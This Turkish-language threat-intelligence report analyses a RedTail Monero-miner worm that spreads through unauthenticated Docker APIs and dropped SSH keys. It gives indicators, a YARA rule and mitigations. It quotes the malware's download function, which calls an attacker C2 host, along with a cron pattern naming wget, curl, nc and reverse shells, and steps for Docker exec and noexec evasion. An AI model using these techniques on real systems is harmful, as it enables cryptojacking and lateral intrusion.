malware · cryptomining · redtail · docker · linux · honeypot · worm

Bir RedTail Kampanyasının İçinde: Açıktaki Docker API'leri Üzerinden Kendi Kendine Yayılma

Kinryū Labs bal küpleri, RedTail kripto madencisinin kimlik doğrulamasız Docker Engine API'leri ve bırakılan SSH anahtarları üzerinden yayıldığını yakaladı. Bu yazı, yükleyici, rakip kaldırma betiği, madenci ve canlı göstergelerle birlikte, güncel ve eksiksiz yakalanmış bir örneği belgeliyor.

Yazan Davis Zheng·

TLP:CLEAR. Yayım için onaylandı. Kinryū Labs bal küpü sensör ağından alındı. Buradaki her gösterge savunma amaçlıdır. Saldırganın özel anahtarını yakaladık ve yayımlamıyoruz. Burada yalnızca genel parmak izi yer alıyor. Saldırgan IP’leri ve alan adları etkisizleştirilmiştir (defanged).

Yönetici özeti

  • 2375açıktaki Docker API, giriş yolu
  • 4hedeflenen CPU mimarisi
  • ~21snbal küpümüzde kaydedilen tam içeri giriş
  • yayılabilirmadenciye gömülü SSH istemcisi

2026 Haziran başı ile ortasında bal küpü ağımız, internete açık Docker Engine API’leri üzerinden TCP/2375’te yayılan ve 2023 sonundan beri var olan XMRig tabanlı bir Monero madencisi olan RedTail’i bırakan bir solucan yakaladı. Aktör, açık Docker API üzerinden çalışan konteynerleri listeler, her birinin içinde komut çalıştırır, kalıcılık ve yanal hareket için bir SSH özel anahtarı bırakır, ardından çok mimarili bir yükleyici çeker. Yükleyici, yayılmak için kendi SSH istemcisini ve yeni hedefler bulmak için bir libpcap dinleyicisini (sniffer) yanında getiren bir madenci kurar.

Yük, hiç şüphesiz RedTail’dir. RedTail en çok web uygulaması istismarları (PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link) yoluyla gelmesiyle bilinir ve açıktaki Docker API’lerini kullanması da daha önce raporlanmıştır. Bu yazı, o Docker API teslimatının güncel ve eksiksiz yakalanmış bir örneğini ekliyor: canlı C2 ve göstergeler, ana makinenin kendini kopyalamasını sağlayan SSH anahtarı bırakma ve önceki yazıların işaret edip de kurtaramadığı rakip kaldırma betiği. Kendi kendine kopyalama mantığını içeride docker.selfrep olarak izliyoruz.

Madenci, şifreli bir çalışma zamanı yapılandırması taşır ve gömülü cüzdan içermez, dolayısıyla örnekten bir Monero adresi çıkaramayız. Bunu kurtarmak, ağ yakalamalı canlı bir patlatma gerektirir.

Temel değerlendirmeler

  • Yük RedTail’dir (yüksek güven). libredtail evbuffer_tls dizesi, .redtail kalıntısı, yükleyicideki redtail yedeği ve şifreli yapılandırma / cüzdansız derleme, hepsi ailenin 2024 sonrası sürümleriyle örtüşür.
  • Kampanya solucan gibi yayılabilir (yüksek güven). Docker API araçları, bırakılan anahtar ve madencinin yerleşik SSH istemcisi, yeni enfekte olmuş bir ana makinenin bir sonraki kurbanı kendi başına bulmaya gitmesi için gereken her şeydir.
  • Operatörün derdi paradır (orta güven). Kimlik bilgisi hırsızlığı ve dinleme, ayrı bir veri hırsızlığı hedefinden çok yayılmaya hizmet ediyor gibi görünüyor.
  • Docker API vektörü RedTail için daha önce raporlanmıştır ve hâlâ iyi çalışıyor. TCP/2375’te açıkta kalan tek bir soket, aktöre ana makinedeki her konteynerin içinde root olarak kod yürütme verir.

Saldırı zinciri

[0] Keşif              Açıktaki Docker API :2375 için internet taraması

[1] İlk erişim         Kimlik doğrulamasız Docker API → konteynerleri listele
        │              (T1190 Exploit Public-Facing Application)

[2] Yürütme            Çalışan her konteynere docker exec
        │              (T1609 Container Administration Command)

[3] Kalıcılık /        Konteynerin ~/.ssh dizinine "dlr@sftp" ed25519 anahtarı bırak
    yanal hazırlık     (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)

[4] İçeri alma (aşama 2) Yükleyici çek: scp [email protected][.]113:sh   (birincil)
        │                               hxxps://14.46.136[.]77/sh      (yedek)
        │              (T1105 Ingress Tool Transfer)

[5] Savunma atlatma    Yükleyici: noexec bağlamalarını bul → kaçın; gizli ".<random>" dosya adı;
        │              rakip kaldırma "clean" çalıştır/at

[6] İçeri alma (aşama 3) Yükleyici C2'den mimari ELF'ini (x86_64/i686/aarch64/arm7) çeker

[7] Yürütme            memfd_create → RedTail madencisinin dosyasız başlatılması
        │              (T1620 Reflective Code Loading)

[8] Etki               XMRig ile Monero madenciliği (T1496 Resource Hijacking)
   + Kimlik bilgisi    libpcap dinleme + ssh-agent/anahtar hırsızlığı (T1040 / T1552.004)
   + Yanal hareket     Gömülü SSH istemcisi keşfedilen ana makinelere yayılır (T1021.004)

Aşama 1: Docker API üzerinden ilk erişim

Aktör, kimlik doğrulamasız REST API’sini TCP/2375’te açıkta bırakan Docker Engine örneklerinin peşine düşer. Docker API bal küpümüz gerçek bir motoru taklit eder ve tüm diziyi yaklaşık 21 saniyede kaydetti:

  1. Motorun parmak izini almak ve konteynerleri listelemek için GET /version ve GET /containers/json.
  2. Çalışan her konteynere karşı POST /containers/{id}/exec ardından POST /exec/{id}/start.
  3. Saldırganın SSH anahtarını yazan ve yükleyiciyi getiren bir konteyner içi kabuk yükü.

Bunu tek seferlik bir madenciden bir solucana çeviren, işte o son adımdır. Enfekte olan ve kendi Docker API’sini açıkta bulunduran bir ana makine, aynı listele-ve-çalıştır rutinini bir sonraki kurban kümesine karşı çalıştırır. O mantığa docker.selfrep diyoruz.

Bırakılan SSH anahtarı (kalıcılık ve yanal hareket)

ÖzellikDeğer
TürOpenSSH ed25519 özel anahtarı
Yorumdlr@sftp
Genel anahtar SHA256 parmak iziSHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
Çekme kaynağı (SCP kanalı)[email protected][.]113

Özel anahtarı yayımlamıyoruz. Onu avlamak için yukarıdaki parmak izini kullanın: tüm makine envanterinizde authorized_keys ve ~/.ssh dizinlerini kontrol edin.

Aşama 2: /sh yükleyicisi

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 Tür: POSIX kabuk betiği

Küçük, taşınabilir bir yükleyici, ve dikkatli olanından.

Rastgele gizli dosya adı. get_random_string(), /dev/urandom, ardından openssl, ardından $RANDOM deneyerek ve hepsi başarısız olursa düz redtail dizesine geri dönerek 4 ila 35 karakterlik alfanümerik bir ad oluşturur. O yedek, kullanışlı bir aile işaretidir. Madenci, sade bir ls’in dışında kalmak için başında nokta olan .<random> olarak iner. VirusTotal bu örneği o adlardan biriyle, .mn6VTucEsFZY1PdSC2QAq olarak barındırıyor.

İndirme yardımcısı. dlr(), C2 kendinden imzalı olduğu için TLS doğrulamasını kapatır ve wget’ten curl’e geri döner:

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

noexec’e duyarlı hazırlama (staging). Yükleyici /proc/mounts’u okur, her noexec bağlamasını atar ve hem yazıp hem yürütebileceği bir yer bulmak için find / -user $(whoami) -perm -u=rwx çalıştırır. Kullanmadan önce her adayı 2 MB’lık bir dd ya da truncate ile yazma testinden geçirir. Çoğu yükleyici sadece /tmp’ye yazıp geçer. Bu ise yürütebileceğini bildiği bir yere inmek için emek harcar.

Rakip temizliği. clean’i çeker ve çalıştırır (dlr clean; chmod +x clean; sh clean; rm -rf clean), ardından siler. O betiği de aldık ve aşağıda parçalıyoruz. Çalışan süreçleri rahat bırakarak rakip kalıcılığının ve hazırlamasının peşine düşer.

Toparlama. Yenisini kurmadan önce .redtail’i ve önceki .<random> dosyasını siler.

Mimari seçimi. Bir uname -mp anahtarı derlemeyi seçer:

ARCH eşleşmesiİndirir
x86_64 / amd64x86_64
i[3456]86i686
armv8 / aarch64aarch64
armv7arm7
bilinmeyendördünü de kaba kuvvetle dener, her birini çalıştırır

Çalıştırma. ./.<random> $1, yükleyicinin orijinal $1’ini iletir; RedTail bunu bir kampanya ya da vektör etiketi olarak ele alır.

Rakip kaldırma betiği clean

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 Tür: Bash betiği (795 bayt)

clean’i bal küplerindeki daha sonraki bir vuruşta yakaladık. Çalışan süreçleri rahat bırakır. Tüm işi, RedTail’in makineyi tek başına kullanabilmesi için diğer kötü amaçlı yazılımları makineden temizlemektir:

  • Cron temizliği. Her kullanıcı crontab’ı (/var/spool/cron/crontabs/*), sistem crontab’ı (/etc/crontab, /etc/crontabs), ekleme dizini (/etc/cron.{hourly,daily,weekly,monthly,d}) ve /etc/anacrontab için, chattr -ia ile değişmezlik bitini söker (rakip kötü amaçlı yazılım kendi cron satırlarını korumak için onu ayarlar) ve ardından yeniden enfeksiyon desenine uyan her satırı siler:

    wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

    Bu, meşru cron girdilerini rahat bırakarak diğer ekiplerin indirme beşiklerini ve ters kabuklarını çekip çıkarır.

  • Adı geçen bir rakibi öldürme. c3pool_miner systemd hizmetini devre dışı bırakıp durdurur; c3pool madencisine doğrudan bir atış.

  • Hazırlamayı silme. rm -rf ile /tmp, /var/tmp ve /dev/shm’i boşaltır; rakip yükleri ve paylaştıkları çalışma alanını temizler.

Kalıcılığa ve hazırlamaya vurmak daha sessiz oyundur. Bir yeniden başlatmayı atlatır; aksi halde artakalan cron girdileri ana makineyi yeniden enfekte ederdi; ve kitlesel süreç öldürmenin gürültüsünden kaçınır.

Aşama 3: RedTail madencisi (x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b Boyut: 1.880.264 bayt (1,79 MB) Biçim: ELF 64-bit LSB EXEC (statik bağlı, non-PIE), x86-64, giriş 0xaa9e18 Paketleyici: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team) VirusTotal: 36/62 kötü amaçlı, topluluk puanı −60, ilk görülme ~2026-06-05 Tehdit etiketleri: trojan.usblem26/abminer; aileler usblem26 / abminer / gen3

Paketleme ve analiz karşıtı

  • Başlığı sağlam UPX 5.02. upx -d onu yaklaşık 5 MB’lık statik bağlı bir ELF’e temiz biçimde açar.
  • Dosyasız yürütme. VirusTotal’ın kod içgörüleri, yükü anonim bir bellek dosya tanımlayıcısından doğrudan çalıştırmak için memfd_create (syscall 0x13f) kullandığını gösterir; /proc/self/exe ile yeniden yürütme ve /dev/shm hazırlaması eşliğinde. Hiçbir şey diske dokunmaz, dolayısıyla disk tabanlı AV asla bakma fırsatı bulamaz.
  • Süreç adı sahteciliği (sets-process-name), normal süreçlere karışmak için.
  • Hata ayıklayıcı atlatma (detect-debug-environment). Genel RedTail yazıları ptrace ile kendi kendine hata ayıklamayı ve ikilinin GDB’yi aktif olarak öldürmesini anlatır.
  • Ana makine AV’si hakkında bir not. Microsoft Defender paketlenmiş ELF’i Trojan:Linux/Multiverze!rfn olarak işaretler ve diskten okunmasını engeller, dolayısıyla statik eleme yalıtılmış bir makinede ya da bellekte yapılmalıdır.

Doğrulanmış bileşenler (paketten çıkarılmış .rodata dizelerinden)

XMRig madencilik çekirdeği

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail, aileyi tanımlayan ağ yığını

libredtail evbuffer_tls
Connection  keepalive  User-Agent

Özel bir libevent artı TLS HTTP istemcisi. libredtail evbuffer_tls dizesi, RedTail’i stok bir XMRig derlemesinden ayıran şeydir.

Gömülü SSH istemcisi (yanal hareket ve kimlik bilgisi hırsızlığı)

ssh-userauth   ssh-ed25519   [email protected]
[email protected]   [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

Madenci, eksiksiz bir SSH istemcisi taşır. dlr@sftp anahtar bırakmasının ve yayılmanın arkasındaki motor budur. Madenci ikilisi kendi kimlik bilgisi hırsızlığını ve SSH yayılmasını kendisi halleder. Bunların hiçbiri damlalıkta yaşamaz.

Gömülü libpcap (ağ dinleme)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

Ana makinede paket yakalama; ana makinelerin ve kimlik bilgilerinin yerel keşfine uyar.

Kodlama tabloları. Hem standart hem de URL-güvenli Base64 alfabeleri görünür (...+/ ve ...-_); yapılandırma çözme rutini tarafından kullanılır.

Yapılandırma ve atıf boşluğu

Paketten çıkarılmış ikilide IP’ler, URL’ler, stratum, pool ve Monero adres desenleri için sıkı arama yaptık. Oradaki tek havuzlar, her XMRig derlemesinin taşıdığı ve operatörün kontrol etmediği XMRig’in yerleşik geliştirici bağış havuzlarıdır (donate.ssl.xmrig.com, donate.v2.xmrig.com). Düz metin olarak saldırgan havuzu, proxy’si ya da cüzdanı yok.

Bu kasıtlıdır ve RedTail’in 2024’ten beri gittiği yönle örtüşür. Madencilik yapılandırması şifrelidir ve yalnızca çalışma zamanında bellekte çözülür; son derlemeler hiç cüzdan taşımaz, bunun yerine özel bir havuza ya da havuz-proxy’sine işaret eder. Yani:

  • Bu örnekten bir Monero cüzdanı çıkaramayız.
  • Havuz-proxy’si yalnızca ağ alıcılı (sink) canlı bir patlatmadan çıkar (metodolojiye bakın).

Atıf

Bu, .redtail madencisi olarak da bilinen, ilk kez 2023 sonu ile 2024 başı dolaylarında yazıya dökülen, XMRig türevi bir Monero madencisi olan RedTail’dir. Örtüşenler:

  • Ona özgü libredtail evbuffer_tls dizesi.
  • .redtail kalıntısı ve yükleyicideki redtail yedeği.
  • Şifreli yapılandırma / cüzdansız derleme, çok mimarili yükleyici, clean rakip betiği ve SSH kimlik bilgisi hırsızlığı, hepsi bilinen RedTail özellikleri.

Karşılaştırma için, aile adına kayda geçmiş teslim vektörleri CVE-2024-3400 (PAN-OS), CVE-2023-46805 ve CVE-2024-21887 (Ivanti), CVE-2021-44228 (Log4Shell), CVE-2024-4577 (PHP-CGI) ve CVE-2023-1389 (TP-Link)‘tir. VirusTotal bu örneği ayrıca CVE-2021-41773 (Apache 2.4.49/2.4.50 yol geçişiyle RCE) ve CVE-2015-2808 (RC4, “Bar Mitzvah”) ile etiketler.

RedTail’in açıktaki Docker API’lerini kullanması daha önce raporlanmıştır, dolayısıyla vektörün kendisi eskidir. Bu rapor, onun güncel bir yakalamasını ekler: canlı C2 ve yük özetleri, kurtarılan clean betiği ve bırakılan anahtarla kendi kendine kopyalama ayrıntısı.

Görünüm

Kripto madenciliği ekipleri, içeri giriş biçimlerini yükü değiştirdiklerinden çok daha sık değiştirir ve RedTail’in modüler yükleyicisi bir giriş yöntemini bir diğeriyle değiştirmeyi kolaylaştırır. Açıktaki Docker soketleri tam da o sahaya oturur. Fırsatçı Linux etkinliğinin büyük kısmı bulut yerel yanlış yapılandırmalara kaydı ve açık bir Docker API, saldırgana makinedeki her konteynerin içinde root verir. RedTail buraya daha önce geldi ve internete açık 2375’in istikrarlı arzı bunu kârlı tutuyor.

Operatörün Docker API vektörünü web istismarlarının yerine koymaktan çok onların yanında tutmasının muhtemel olduğunu düşünüyoruz; bu ona yalnızca daha fazla erişilebilir ana makine verir. Konteyner çalıştırıyorsanız, açıktaki bir Docker API’yi herkese açık internette duruyormuş gibi ele alın, çünkü pratikte öyle.

İhlal göstergeleri

GöstergeBağlam
14.46.136[.]77C2 / yük ana makinesi (HTTPS, kendinden imzalı). /sh, /clean, /x86_64, /i686, /aarch64, /arm7 sunar. Bulut egress’ini ASN’ye göre filtreler.
hxxps://14.46.136[.]77/shAşama 2 yükleyici URL’si
hxxps://14.46.136[.]77/cleanRakip kaldırma betiği (cron / hazırlama temizliği)
217.60.195[.]113SCP anahtar / yük kaynağı ([email protected][.]113)

Dosyalar (SHA256 / MD5)

DosyaSHA256MD5
sh (yükleyici)03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf0df4fe0f1e3e8b0941f0d1442f132700
clean (rakip temizliği)d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e397ff5e54194072e6d8a44a0d8cc1b27
x86_64 (madenci)59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5aaa5098c9caafccf15362b017825c64b

Ana makine kalıntıları

GöstergeBağlam
.redtailMadenci kalıntısı / önceki enfeksiyon işareti
.<random alnum>, ör. .mn6VTucEsFZY1PdSC2QAqGizli madenci dosya adı (başında nokta + rastgele)
SSH anahtar yorumu dlr@sftpBırakılan anahtar
Pubkey parmak izi SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vgBırakılan anahtar parmak izi; authorized_keys içinde avlayın
/dev/shm, /var/tmp, /tmp ya da kullanıcının yazabildiği herhangi bir rwx dizininde hazırlanan dosyalarHazırlama konumları

Davranışsal

  • Anonim bir dosya tanımlayıcısından bir ELF yürüten memfd_create (syscall 0x13f).
  • /proc/mounts’u okuyup ardından find / -perm -u=rwx çalıştıran bir süreç (noexec’e duyarlı hazırlama).
  • Süreç adı sahteciliği; ptrace tabanlı hata ayıklayıcı atlatma.
  • Standart olmayan bir ana makineye giden stratum+tcp:// / stratum+ssl://.
  • systemctl disable c3pool_miner ve systemctl stop c3pool_miner (rakip tahliyesi).
  • crontab yollarına karşı chattr -ia, hemen ardından cron’dan wget / curl / ters kabuk satırlarının kitlesel silinmesi.
  • /tmp/*, /var/tmp/* ve /dev/shm/* için rm -rf (rakip hazırlama temizliği).

Tespit

Ana makine tespiti (süreç / EDR mantığı)

Sırayla şunları yapan bir sürece uyarı verin:

  1. /proc/mounts’u okur, ardından find / ... -perm -u=rwx ... çalıştırır, ve
  2. herkesin yazabildiği bir dizine başında nokta olan, rastgele adlı bir dosya yazar, ve
  3. memfd_create çağırır ve ardından ortaya çıkan dosya tanımlayıcısından yürütür.

Bunların herhangi biri tek başına zayıftır. Üçü birlikte, bu yükleyici için güçlü bir sinyaldir.

Aday YARA (paketten çıkarılmış ikili)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "[email protected]" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

Bu kural, UPX ile paketten çıkarılmış ikiliyle eşleşir. Paketlenmiş örnek için UPX imzasına, dosya boyutuna (~1,79 MB) ve yukarıdaki VirusTotal özetlerine dayanın.

Ağ tespiti

  • 14.46.136[.]77 ve 217.60.195[.]113’e giden giden trafiği engelleyin ve uyarı verin.
  • İzin listesinde olmayan herhangi bir hedefe stratum+tcp / stratum+ssl için uyarı verin.
  • Tek harfli ya da mimari adlı yolların (/sh, /x86_64, /aarch64, /arm7) HTTP(S) GET’ine uyarı verin.

Azaltma

  1. Docker API’sini (2375/2376) güvenilmeyen ağlara açmayın. Onu localhost’a ya da korumalı bir sokete bağlayın ve TLS istemci sertifikası kimlik doğrulaması isteyin. O tek kontrol, ilk erişim adımını tümden kırar.
  2. Tüm makine envanterinde ~/.ssh/authorized_keys’i dlr@sftp anahtarı ve parmak izi için denetleyin.
  3. Yukarıdaki stratum trafiğini ve C2 IP’lerini egress filtreleyin ve izleyin.
  4. Mümkün olan yerde /tmp, /var/tmp ve /dev/shm’i noexec ile bağlayın. Çıtayı yükseltir, ama bu yükleyici noexec’e duyarlıdır ve yazılabilir, yürütülebilir başka bir dizin aramaya gidecektir.
  5. Konteynerleri sıkılaştırın: gereksiz capabilities’leri bırakın, salt okunur kök dosya sistemleri kullanın ve en az ayrıcalıkla çalıştırın; böylece bir exec-in, saldırgana kullanılabilir bir yürütme ortamı sunmaz.

MITRE ATT&CK eşlemesi

TaktikTeknik
Initial AccessT1190 Exploit Public-Facing Application (Docker API)
ExecutionT1609 Container Administration Command; T1059.004 Unix Shell
PersistenceT1098.004 SSH Authorized Keys
Defense EvasionT1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion
Credential AccessT1552.004 Private Keys; T1040 Network Sniffing
DiscoveryT1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery
Lateral MovementT1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer
Command and ControlT1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer
ImpactT1496 Resource Hijacking (cryptomining)

Metodoloji ve analist notları

  • Aşama 2 ve 3’ü canlı C2’den HTTPS üzerinden çektik. 14.46.136[.]77 bulut IP’leri için zaman aşımına uğrar (AWS/EC2’den denedik) ama yerleşik ve sıradan IP’lere sorunsuz sunar; bu, otomatik bulut kum havuzlarını kıran bir ASN ya da coğrafi egress filtresidir.
  • Paketlenmiş ELF, Microsoft Defender’ı (Trojan:Linux/Multiverze!rfn) tetikler ve korumalı bir Windows ana makinesinde diskten okunamaz bile, dolayısıyla ilk eleme bellekte, ham ELF’i hiç dışarı yazmadan, arşivi bir Python süreci içinde paketten çıkararak yapıldı.
  • Paketten çıkarma, yalıtılmış bir FLARE-VM’de upx -d ile yapıldı. Paketten çıkarılmış ikiliyi çalıştırmadan, dizeler ve yapı üzerinden statik olarak analiz ettik.
  • Madenciyi çalıştırmadık, dolayısıyla çalışma zamanında çözülen havuz-proxy’si ve Monero yapılandırması bu raporda yok.

Önerilen takip (havuz-proxy göstergesini elde etmek için)

Havuz-proxy’sini elde etmek için, paketten çıkarılmış ikiliyi yalıtılmış bir Linux makinesinde (REMnux işe yarar) şunlarla patlatın:

  • bağlantıyı çekip çıkarmak için bir ağ alıcısı (INetSim, ya da fakedns artı bir TCP her-şeyi-yakala),
  • stratum CONNECT ve oturum açmayı yakalamak için tcpdump -i any -w redtail.pcap, ve
  • madencinin ilk connect()’inden hemen önce çözdüğü düz metin yapılandırmasını kapmak için strace -f; bu yapılandırma, TLS onu hatta gizlediğinde bile çoğu zaman okunabilir.

O ana makine ve port, bu kampanya için hâlâ çözülmemiş son göstergedir.

Örnekler

Örnekler (yükleyici, clean betiği ve paketlenmiş madenci) diğer araştırmacılara ve savunuculara talep üzerine sunulur. Kim olduğunuza ve ne için gerektiğine dair kısa bir notla [email protected] adresine yazın.

How to cite
Kinryū Labs (2026). Bir RedTail Kampanyasının İçinde: Açıktaki Docker API'leri Üzerinden Kendi Kendine Yayılma. https://kinryu.sh/tr/reports/redtail-cryptominer-exposed-docker-api/